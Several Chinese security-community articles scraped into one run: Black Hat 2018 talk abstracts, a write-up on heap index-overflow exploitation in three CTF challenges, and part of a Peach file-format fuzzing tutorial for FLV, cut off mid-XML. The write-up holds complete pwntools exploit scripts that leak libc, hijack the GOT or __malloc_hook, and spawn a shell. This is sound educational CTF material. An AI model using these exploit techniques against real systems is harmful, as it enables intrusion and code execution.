正如人们所想的那样，微软工程师也在不断搜寻自家产品代码中的漏洞。也许出乎很多人意料的是，微软也在研发这些产品的漏洞利用技术，以便更好地理解漏洞利用中所涉及到的技术，希望客户在受这些技术侵扰之前能加以缓解。在此次演讲中，我们将介绍来自微软的攻击安全研究（Offensive
Security Research，OSR）团队如何发现CVE-2017-0075漏洞、研发相关的创新漏洞利用技术，最终完成Hyper-V的安全加固任务。本次演讲将详细分析整个工作流程的每一个细节，并在最后进行Hyper-Pwning的现场演示。
##### 内核态威胁及实际防御
演讲人员： Gabriel Landau（Endgame首席软件工程师）、Joe Desimone（Endgame高级恶意软件研究员）
演讲地点： South Seas ABE
演讲日期： 2018年8月9日，星期四，09:45-10:35
演讲形式： 50分钟陈述
主题标签： 恶意软件
最近微软在操作系统安全方面引入了一些新的安全机制，如PatchGuard、Driver Signature
Enforcement（驱动程序强制签名）以及SecureBoot，这些安全机制已经成功阻止了之前大肆传播的一些内核态恶意软件，如TDL4以及ZeroAccess。然而道高一尺魔高一丈，高级攻击者已经找到了一些方法，能够成功规避这些保护措施，继续让内核态恶意软件处于领先地位。本次演讲中，我们将分析这类恶意软件（如DoublePulsar、SlingShot以及Turla）所使用的端点防御规避技术，我们还将揭晓一种新型方法，能够完成完整的内核态植入任务，并且不涉及落盘操作，也不会被安全产品检测到。这种方法以公开可用的工具为基础，因此初级攻击者很容易就能掌握这种技术。
虽然此类攻击技术已经能够规避端点防护方案，但当前的内核恶意软件检测水平也能阻止这类新型内核态威胁。我们将讨论应对内核态威胁的新型防御技术，包括利用hypervisor的实时检测技术以及利用性能监控单元的创新型硬件辅助方法。此外，我们也会讨论一些特定检测技术，利用页表（page
table）表项重映射方法大规模搜索内核态恶意软件。为了有力支撑防御人员，我们还将发布一款工具，能够有效阻止高级内核态安全威胁。未来内核态安全威胁的影响力肯定会不断提升，本次演讲将为大家提供该领域中最新的攻击技术，以及防御此类技术的新型工具，为实际环境中的实时部署提供参考。
##### 如何滥用x86/x64 CPU的瑕疵“功能”在许多操作系统上实现本地权限提升
演讲人员：Nemanja Mulasmajic（反作弊工程师）、Nicolas Peterson（反作弊工程师）
演讲地点： Jasmine Ballroom
演讲时间： 2018年8月8日，星期三，16:00-16:50
演讲形式： 50分钟陈述
主题标签： 平台安全、逆向工程
由于许多操作系统厂商在代码编程上面存在瑕疵，我们可以利用x86架构中存在的一个“功能”实现本地权限提升。挖掘到该漏洞后，我们发现最新版的Windows、macOS以及某些Linux发行版中都存在该问题，其他x86架构上的操作系统也很有可能会受此问题影响。
对于Intel及AMD CPU来说，攻击者可以利用该漏洞稳定且可靠地攻击Windows
10系统，将非特权、沙盒化的用户态应用中当前进程的访问令牌替换为SYSTEM令牌，最终实现本地权限提升。在AMD硬件上，如果SMAP/SMEP处于禁用状态，由于CPL
0中可以利用用户指定的任意内存，因此攻击者可以成功利用这个漏洞，成功率达100%。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# 堆中index溢出类漏洞利用思路总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 写在前面
被问到这个问题，突然就意识到好像只能想到一个改`got`表的思路，有点丢人emmmm
于是做个总结，如果还有遗漏，欢迎大佬在评论区指出，我会在后续文章完善。
## 0x02 越界篡改GOT表
### 适用情形
1. 题目没有开启`FULL RELRO`保护。
2. 程序有可用`GOT`表项。
### 以 2020-CISCN-摩尔庄园的记忆 为例
我是本题的出题人，本题理论上应当用于2020年全国大学生信息安全竞赛，但是不知为何此题未出现，本题将会后续更新到我的Github，需要的同学可以自取~
#### 程序保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
#### 程序分析
程序提供了四个功能：
1. 用户指定一个`index`，随后在`chunk_list[index]`下分配一个`10 ~ 1010`之间大小的`chunk`然后读入内容。（此处是窝写的有问题，本来是想限制在`10 ~ 1000`的，所以会有`1%`的概率分配`chunk`失败导致程序退出。）
2. `free`掉指定位置的`chunk`，并将对应指针清空，对应内存位置零。
3. 可以修改任意一个`chunk`的前`0x10`个字节。
4. 打印指定`chunk`的内容。
#### 漏洞分析
四个功能都存在`index`溢出的问题，我们可以利用负数访问到非法内存。
再加上程序没有开启`FULL RELRO`，因此我们可以直接篡改`GOT`表完成利用。
#### 漏洞利用
##### 寻找可利用指针
首先我们我们需要寻找一个可控指针以用来任意地址读写，经过查看内存
发现有一个地址处形成了一个循环指针，这个位置的`index`是`chunk_list - 12`，我们就利用此处指针。
##### 泄露可利用指针地址
creat(sh,1,'Chunk')
delete(sh,1)
show(sh,-12)
useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
##### 泄露 Libc 地址
接下来我们将那个循环指针指向`GOT`表内的函数，以泄露`Libc`地址
edit(sh,-12,p64(useful_point_addr - 0x88))
show(sh,-12)
libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
##### 劫持`GOT`表，完成利用
我们接下来将`free[@GOT](https://github.com/GOT "@GOT")`篡改为`system`，然后利用`free`函数触发即可。
##### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
Moles_world=ELF('./Moles_world', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./Moles_world")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./Moles_world")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def creat(sh,index,value):
sh.recvuntil('| [now] >')
sh.sendline('G')
sh.recvuntil('| [lahm\'s index] > ')
sh.sendline(str(index))
sh.recvuntil('| [lahm\'s name] > ')
sh.send(value)
def edit(sh,index,value):
sh.recvuntil('| [now] >')
sh.sendline('R')
sh.recvuntil('| [lahm\'s index] > ')
sh.sendline(str(index))
sh.recvuntil('| [lahm\'s name begin ten char] > ')
sh.send(value)
def show(sh,index):
sh.recvuntil('| [now] >')
sh.sendline('S')
sh.recvuntil('| [lahm\'s index] > ')
sh.sendline(str(index))
def delete(sh,index):
sh.recvuntil('| [now] >')
sh.sendline('A')
sh.recvuntil('| [lahm\'s index] > ')
sh.sendline(str(index))
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
creat(sh,0,'/bin/sh\x00')
creat(sh,1,'Chunk')
delete(sh,1)
show(sh,-12)
useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
edit(sh,-12,p64(useful_point_addr - 0x88))
show(sh,-12)
libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
edit(sh,-12,p64(libc.symbols['system']))
delete(sh,0)
# get_gdb(sh,stop=True)
sh.interactive()
get_gdb(sh,stop=True)
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
#### 利用方式总结
此种利用方式就是利用了`index`可控，进而在`.text`段的`.got`区域分配`chunk`，进而控制`GOT`指针后完成利用的方式。
## 0x03 越界任意写全局变量
### 适用情形
程序中可以向`chunk_list`指针附近写入值。
### 以 2020-QWB-Just_a_Galgame 为例
#### 程序保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
#### 程序分析
程序提供了`5`个功能：
1. 申请一个大小为`0x68`大小的`Chunk`。(上限申请`6`个)
2. 向指定的`Chunk`进行一次 **越界写** ，即，向该`chunk + 0x60`的位置写入`0x10`个字节。(上限`1`次)
3. 申请一个`0x1000`大小的`Chunk`，在那之后，增加一次越界写次数。(上限`1`次)
4. 依次打印所有`Chunk`的内容。(无上限次数)
5. 当且仅当输入`No bye!`时，退出程序。
#### 漏洞分析
此题没有提供任何的`free`函数调用，可以利用越界写来构造`Top Chunk`，再利用`House of Orange`的思路来`leak Libc`。
然后，在`edit`处存在另一个漏洞
此处在越界写时，程序使用了`atoi`函数，同时也没有对我们输入的数字以及对转换后的数值进行任何形式的验证。
这将导致我们`index`越界的情况发生。
#### 漏洞利用
##### 泄露`libc`
首先可以利用越界写来写`Top Chunk`的`size`字段
接下来申请一个大的`chunk`
现在，我们成功的向`unsorted bin`加入了`chunk`，接下来我们取回，即可泄露`libc`
creat_small(sh)
edit(sh,0,p64(0)+p64(0xf91))
creat_big(sh)
creat_small(sh)
show(sh)
libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)
##### 利用越界达成任意写
此处要利用`bye`函数处的漏洞，我们先在`usr_want`位置写入`__malloc_hook - 0x60`的值
bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
然后利用`edit`函数即可写`__malloc_hook`为`one_gadgat`
edit(sh,8,p64(libc.address + one_gadgets[3]))
最后触发利用即可
##### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
Just_a_Galgame=ELF('./Just_a_Galgame', checksec = False)
one_gadgets=[0x45226,0x4527a,0xf0364,0xf1207]
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./Just_a_Galgame")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./Just_a_Galgame")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def creat_small(sh):
sh.recvuntil('>> ')
sh.send('1')
def edit(sh,index,value):
sh.recvuntil('>> ')
sh.send('2')
sh.recvuntil('idx >> ')
sh.send(str(index))
sh.recvuntil('movie name >> ')
sh.send(value)
def creat_big(sh):
sh.recvuntil('>> ')
sh.send('3')
def show(sh):
sh.recvuntil('>> ')
sh.send('4')
def bye(sh,value):
sh.recvuntil('>> ')
sh.send('5')
sh.recvuntil('\nHotaru: Won\'t you stay with me for a while? QAQ\n')
sh.send(value)
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
creat_small(sh)
edit(sh,0,p64(0)+p64(0xf91))
creat_big(sh)
creat_small(sh)
show(sh)
libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)
bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
edit(sh,8,p64(libc.address + one_gadgets[3]))
creat_small(sh)
# get_gdb(sh,stop=True)
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x04 越界篡改chunk结构
### 适用情形
1. 越界可以修改`heap`内的内容
2. 程序有`index`越界但是开启了全保护
### 以 2020-QWB-direct 为例
#### 程序保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
#### 程序分析
程序提供了`5`个功能：
1. 在用户指定的`index`(`index < 0xF`)处申请一个指定大小(`0 <= size <= 0x100`)的`Chunk`。
2. 在用户指定的`Chunk_list[index] + offset`处写入`size - offset`长度的值。
3. 释放指定的`Chunk_list[index]`，并将指针以及`size`清除。
4. 调用`opendir`打开一个路径。
5. 调用`readdir`读取该路径下的所有目录进入点。
#### 漏洞分析
在向`chunk`写入内容时，由于没有对`offset`做任何检查，因此可以越界修改上一个`chunk`的任意内容，那么我们就可以利用`Off-by-one`的思路构造`Overlap`完成利用。
#### 漏洞利用
##### 篡改`Size`域，构造`Heap Overlap`
首先申请两个`chunk`，然后调用`opendir`打开一个路径，由于`opendir`的特性，将同步生成一个大小为`0x8040`的`chunk`
creat(sh,0,0x18)
creat(sh,1,0x18)
open_dir(sh)
⚠️：最上方的大小为`0x250`的`chunk`为`scanf`缓冲区，无视即可。
接下来，使用`edit`函数修改第一个`chunk`的`size`域为`0x8080`，进而构造`heap Overlap`。
edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))
##### 劫持`DIR`结构体，泄露`libc`基址
首先调用`readdir`函数初始化整个`DIR`结构体
get_dir(sh)
接下来将`libc`地址推到我们即将打印的位置上
creat(sh,0,0x18)
creat(sh,3,0x78)
最后利用`edit`函数将`7fe1`处填充，以免截断即可完成`libc`的泄露
creat(sh,4,0x88)
edit(sh,4,-8,8,"Libc--->")
get_dir(sh)
##### 利用`Use After Free`完成最终利用
delete(sh,1)
edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
creat(sh,5,0x78)
creat(sh,6,0x78)
edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
creat(sh,7,0x78)
##### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
direct = ELF('./direct', checksec = False)
one_gadgats = [0x4f365,0x4f3c2,0x10a45c]
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./direct")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./direct")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def creat(sh,index,chunk_size):
sh.recvuntil('Your choice: ')
sh.sendline('1')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(chunk_size))
def edit(sh,index,offset,input_size,value):
sh.recvuntil('Your choice: ')
sh.sendline('2')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Offset: ')
sh.sendline(str(offset))
sh.recvuntil('Size: ')
sh.sendline(str(input_size))
sh.recvuntil('Content: ')
sh.sendline(value)
def delete(sh,index):
sh.recvuntil('Your choice: ')
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(index))
def open_dir(sh):
sh.recvuntil('Your choice: ')
sh.sendline('4')
def get_dir(sh):
sh.recvuntil('Your choice: ')
sh.sendline('5')
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
creat(sh,0,0x18)
creat(sh,1,0x18)
open_dir(sh)
creat(sh,2,0x18)
edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))
delete(sh,0)
get_dir(sh)
creat(sh,0,0x18)
creat(sh,3,0x78)
creat(sh,4,0x88)
edit(sh,4,-8,8,"Libc--->")
get_dir(sh)
libc.address = get_address(sh,info='LIBC ADDRESS IS ',start_string='c--->',end_string='\n',offset=-0x3ebca0)
delete(sh,1)
edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
creat(sh,5,0x78)
creat(sh,6,0x78)
edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
creat(sh,7,0x78)
# get_gdb(sh,stop=True)
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group()) | 社区文章 |
# 【技术分享】文件格式Fuzz实践
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[o0xmuhe](http://bobao.360.cn/member/contribute?uid=32403999)
预估稿费：300RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x00: 前言**
笔者整理去年的笔记的时候，发现了躺在印象笔记里的使用peach来进行文件格式fuzz的笔记，所以经过整理就有了这篇文章，希望可以对入门漏洞挖掘方面的同学有所帮助。
笔者以为文件格式fuzz应该是比较容易上手的，所以选择学习peach来学习文件格式fuzz，经过willj师傅指点，我就尝试去fuzz了某播放器，只是个尝试，虽然没啥产出，但是fuzz过程还算清晰。过程中实现了自动化的fuzz脚本，有完整的功能，就是效率堪忧-。-有待完善，整个项目就只是个toy
见笑了~
**0x01: 关于文件格式fuzz**
**简介**
文件格式fuzz简单的来说，是针对文件格式解析的fuzz，我们这里拿播放器举例子：
首先播放器支持特定的视频文件格式(flv,mp4,mov,avi,等…)，用户把想要播放的文件传给播放器之后，播放器会根据文件格式去解析这个文件，然后做出相应的处理。
那么攻击面就产生了：解析文件部分
1\. 如果我传入一个畸形文件呢？
2\. 如果我传入一个部分结构异常的文件呢？
3\. ……
正如上面例子提到的，我们传入的文件部分结构异常，那么播放器是否还能够正常工作呢？会进入异常处理还是直接crash掉呢？那么crash可以不可以利用呢？
笔者记得最开始接触漏洞挖掘与利用的时候，第一个接触的漏洞是某播放器m3u文件的栈溢出，简单粗暴的没有对文件结构做check，导致数据处理的时候栈溢出，可以代码执行。
**工具选择**
对于工具的选择，我选择使用peach2.3.9，因为是Python编写的，有源码可以读，搞起来方便一些。
[peach](http://www.peachfuzzer.com/resources/peachcommunity/)是一款优秀的文件格式fuzz工具。
peach是基于模板变异工作的，而且开源，文档虽然不是那么多，但是自己多摸索、学习还是可以学会一些基本的用法的。我在看使用peach做文件fuzz相关的资料的时候，最开始看的《0day2》里作者给的例子，从编写pit
file到fuzz跑起来；之后看了一份国际友人写[的Fuzzing with Peach – Part 1 «
Flinkd!](http://www.flinkd.org/2011/07/fuzzing-with-peach-part-1/)，他这篇文章写的非常好，几乎涵盖了peach 90%的语法，仔细阅读，自己动手实践，会很快入门pit file的编写。
**0x02： pit file简介**
peach会根据提供的模板文件和对应的pit file，按照编写的pit file去解析模板文件，然后对一些结构变异，产生新文件。如果你pit
file编写很详细，即粒度很小，虽然解析会慢，但fuzz的更全面。不过peach产生的样本，很多很相似，某种程度上可能在执行路径的覆盖上不太好，不过架不住量多~
这部分推荐直接参考官网、以及一些例子。官网文档很晦涩难懂，不过结合大佬的pit file，能够很快上手pit file的编写咯。
这里笔者只对基本结构介绍一下：
**DataModel**
DataModel 是用来定义数据结构的元素，我们可以在里面定义哪些结构需要进行Fuzz，哪些结构不需要进行 Fuzz。
**StateModel**
StateModel 负责管理 Fuzz 过程的执行流。
**Agents**
Agents 用来监视 Fuzz 过程中程序的行为，可以捕获程序的 crash 信息。
**Test Block**
Test Block 负责将 StateModel 和 Agents 等联系到一个单一的测试用例里。
**Run Block**
Run Block 负责定义 Fuzz 过程中哪些 Test 会被执行。这个块也会记录 Agent 产生的信息。
**支持的元素**
1\. DataModel
DataModel 元素是 Peach 根元素的子节点。DataModel 定义了数据块的结构，它会声明像Number 和 String 等子元素。
2\. Block
Block 是用来组合一个或者多个的其他元素，比如 Number 或者 String。
3\. Choice
Choice 元素是 DataModel 或者 Block 的子元素。Choice 元素是用来指定任意一个子元素是有效的，并且之能选择其中一个。就像 C
语言里的 switch 语法。
4\. String
String 元素定义一个或者双字节的字符串。
5\. Number
Number 元素定义了长度为 8，16，24，32 或者 64 位的二进制数字。
6\. Blob
Blob 元素是 DataModel 或者 Block 的子元素。Blob 是用来定义不明类型的数据。
7\. Flags
Flags 定义了一些以位为单位的集合,，比如一些标志位。
8\. Relation
Peach 允许数据间的关系建模。关系像“X 是 Y 的大小”，“X 是 Y 出现的次数”，或者“X是 Y 的偏移（以字节为单位）”。
size-of Relation
count-of Relation
When 这个关系用来决定一个元素是否用
基础内容的话，推荐参考看雪的教程[【原创】文件Fuzz教程之一：Peach语法介绍](http://bbs.pediy.com/showthread.php?t=176416)
**0x03: 文件fuzz的思路**
现在进入正题，fuzz嘛，简单的来看就是
构造输入
传给目标程序
程序状态检测(是否crash)
做log
之后根据你的log，把产生了crash的样本拿出来单独分析，看看是不是有价值-。-
所以，我的想法也很简单，就是利用peach基于我给的一个小文件，生成很多样本，然后写自动化的脚本去fuzz，并且做好异常检测的工作。
这里我们假设选取Adobe flash player
sa版本，刚开始尝试就做一点简单的，选择flv文件作为fuzz的点。其实你选啥都无所谓…直接选一些播放器可能还更简单。
下面我们面临的问题就是：
1\. flv文件格式
2\. 根据文件格式编写pit file
3\. 如何加载我的fuzz.flv文件？
4\. 异常检测怎么做
下面慢慢来分析。
flv文件格式
flv文件主要分为header和body两个部分。
1.1. header部分
第1-3字节：文件标志，FLV的文件标志为固定的“FLV"，字节（0x46， 0x4C，0x56），见上面的字节序和字符序两行；
第4字节：当前文件版本，固定为1（0x01）
第5字节：此字节当前用到的只有第6，8两个bit位，分别标志当前文件是否存在音频，视频。参见上面bit序，即是第5字节的内容；
第6-9字节：此4字节共同组成一个无符号32位整数（使用大头序），表示文件从FLV Header开始到Flv
Body的字节数，当前版本固定为9（0x00，0x00，0x00，0x09）
1.2 .body部分
这部分其实就是很多的tag的组合。
不过tag的种类有三种，分别是script、Audio、Video。每种tag的tag data又各不相同，详细的可以看一些文档了解。
------------------------- | Previous Tag Size |
------------------------- | Tag |
------------------------- | Previous Tag Size |
------------------------- | Tag |
------------------------- | Previous Tag Size |
------------------------- | Tag |
------------------------- | Previous Tag Size |
-------------------------
一些参考的文档[flv文件格式详解](http://blog.useasp.net/archive/2016/02/28/The-flv-video-file-format-specification-version-10-1.aspx)，以及是官方的flv格式相关的文档都可以。
**1\. 根据文件格式编写pit file**
了解了文件格式之后就是编写pit
file了，困难的地方可能就在于tag结构，因为数目不确定，而且相互之间有联系，比如某个bit为1或者0，影响着后面的某个结构的有无。
我的做法是，我使用类似Switch
case这样的结构，让peach自己去判断选择对应的结构，即我写三种tag，然后限定最大的出现次数，因为样本很小，出现的tag几百个最多了，然后peach根据模板文件的tag的标志，找到我pit
file里对应的tag的结构，然后根据pit file里的结构进行变异，然后生成新的样本。
这里可以使用010 editor的二进制模板功能，可以对比你生成的样本是否正确，方便调试。
**2\. 如何加载我的fuzz.flv文件？**
有了样本，下面的问题就是怎么加载样本然后播放了。
然而flash并不直接打开flv文件，而是使用swf来加载，所以我需要用as语言来编写一个swf来加载。这时候就有又一个问题：swf要编译的，即我的文件名会写死，这就相当于文件名硬编码进去了，这时候就麻烦了。
不过这个也好解决，我可以在后续的fuzz脚本中，每次单独复制一个样本到工作目录，然后重命名为swf要加载的文件的名字，然后起flash，加载swf，然后做后续的工作；完成之后，循环这个工作。这样就可以很好的解决这个问题了。
简单的来说就是：
从样本库复制一个样本——–>工作目录(并重命名为fuzz.flv)——->加载fuzz.swf文件——–>进入正常的fuzz流程(含异常捕获)
**3\. 异常检测怎么做**
我觉得最简单的办法就是调试器了，如果你进程崩了，你的just in time debugger会启动，问你要不要调试。
所以呢，我们检测进程就可以了，如果有你设置的即时调试器，直接做log，杀了所有fuzz相关的进程，继续下一轮fuzz就好了。然而呢，这种方法缺点很明显，非常的不优雅，而且效率低的要死，不过刚开始搞嘛，凑合用咯。先跑起来，以后慢慢看着怎么搞优化。
**0x04: 编写pit file**
**1.首先是针对flv header的部分的编写**
先来看flv header的结构
第1-3字节：文件标志，FLV的文件标志为固定的“FLV"，字节（0x46， 0x4C，0x56）(pit:对应pit的话，String标签就可以了)
第4字节：当前文件版本，固定为1（0x01） (pit:这个可以直接整合到选项1中去)
第5字节：此字节当前用到的只有第6，8两个bit位，分别标志当前文件是否存在音频，视频。(pit:bit位，直接使用Flags标签咯)
第6-9字节：此4字节共同组成一个无符号32位整数（使用大头序），表示文件从FLV Header开始到Flv
Body的字节数，当前版本固定为9（0x00，0x00，0x00，0x09）(pit:既然是数字，使用Number标签就好了)
那么对应的xml应该是
<DataModel name="flvHeader">
<String name="flv_Signature" value="464C5601" valueType="hex" token="true" mutable="false"/>
<Flags name="HeadFlags" size="8">
<Flag name="dummy" position="3" size="5"/>
<Flag name="audio" position="2" size="1"/>
<Flag name="dummy2" position="1" size="1"/>
<Flag name="video" position="0" size="1"/>
</Flags>
<Number name="dataoffset" value="9" size="32"/>
<Number name="zero" size="32"/>
</DataModel>
**2.这部分是script tag部分的编写**
首先来看script tag结构，介绍的篇幅略长，不直观，我们直接看010 editor的二进制模板：
UINT type : 8;
UINT datasize : 24;
UINT timestamp : 24;
UINT timestamphi : 8;
UINT streamid : 24;
taglen = datasize - 1;
...
...
else if(type==18)//script
{
UINT fristbyte : 8;
}
UBYTE data[taglen];
UINT lastsize; //last tag size
那么我们对应的xml如下
<Block name="script">
<Number name="type" size="8" signed="false" endian="big" value="18" token="true" mutable="false"/>
<Number name="datasize" size="24" endian="big" signed="false"/>
<Number name="timestamp" size="24" endian="big" signed="false"/>
<Number name="timestampi" size="8" endian="big" signed="false"/>
<Number name="streamid" size="24" endian="big" signed="false"/>
<Number name="firstbyte" size="8" endian="big" signed="false"/>
<Blob name="data2" lengthType="calc" length="int(self.find('datasize').getInternalValue())-1"/>
<Number name="lastsize" size="32" endian="big" signed="false"/>
</Block>
**3.这部分是audio tag部分的编写**
先看一下这部分的结构
然后我们对比模板来看：
UINT type : 8;
UINT datasize : 24;
UINT timestamp : 24;
UINT timestamphi : 8;
UINT streamid : 24;
taglen = datasize - 1;
Printf("tag length: %xn",taglen);
if(type==8) //audio
{
UINT fmt : 4;
UINT sr : 2;
UINT bits : 1;
UINT channels : 1;
if(fmt==10)
{
--taglen;
UBYTE frmtype;
}
}
最后编写的xml如下
<Block name="audio">
<Number name="type" size="8" signed="false" endian="big" value="8" token="true" mutable="false"/>
<Number name="datasize1" size="24" endian="big" signed="false"/>
<Number name="timestamp" size="24" endian="big" signed="false"/>
<Number name="timestampi" size="8" endian="big" signed="false"/>
<Number name="streamid" size="24" endian="big" signed="false"/>
<Flags name="Flag3" size="8">
<Flag name="fmt" position="0" size="4"/>
<Flag name="sr" position="4" size="2"/>
<Flag name="bits" position="6" size="1"/>
<Flag name="channels" position="7" size="1"/>
</Flags>
<Block>
<Relation type="when" when="int(self.find('Flag3.fmt').getInternalValue()) == 10"/>
<Blob name="frmtype" length="1"/>
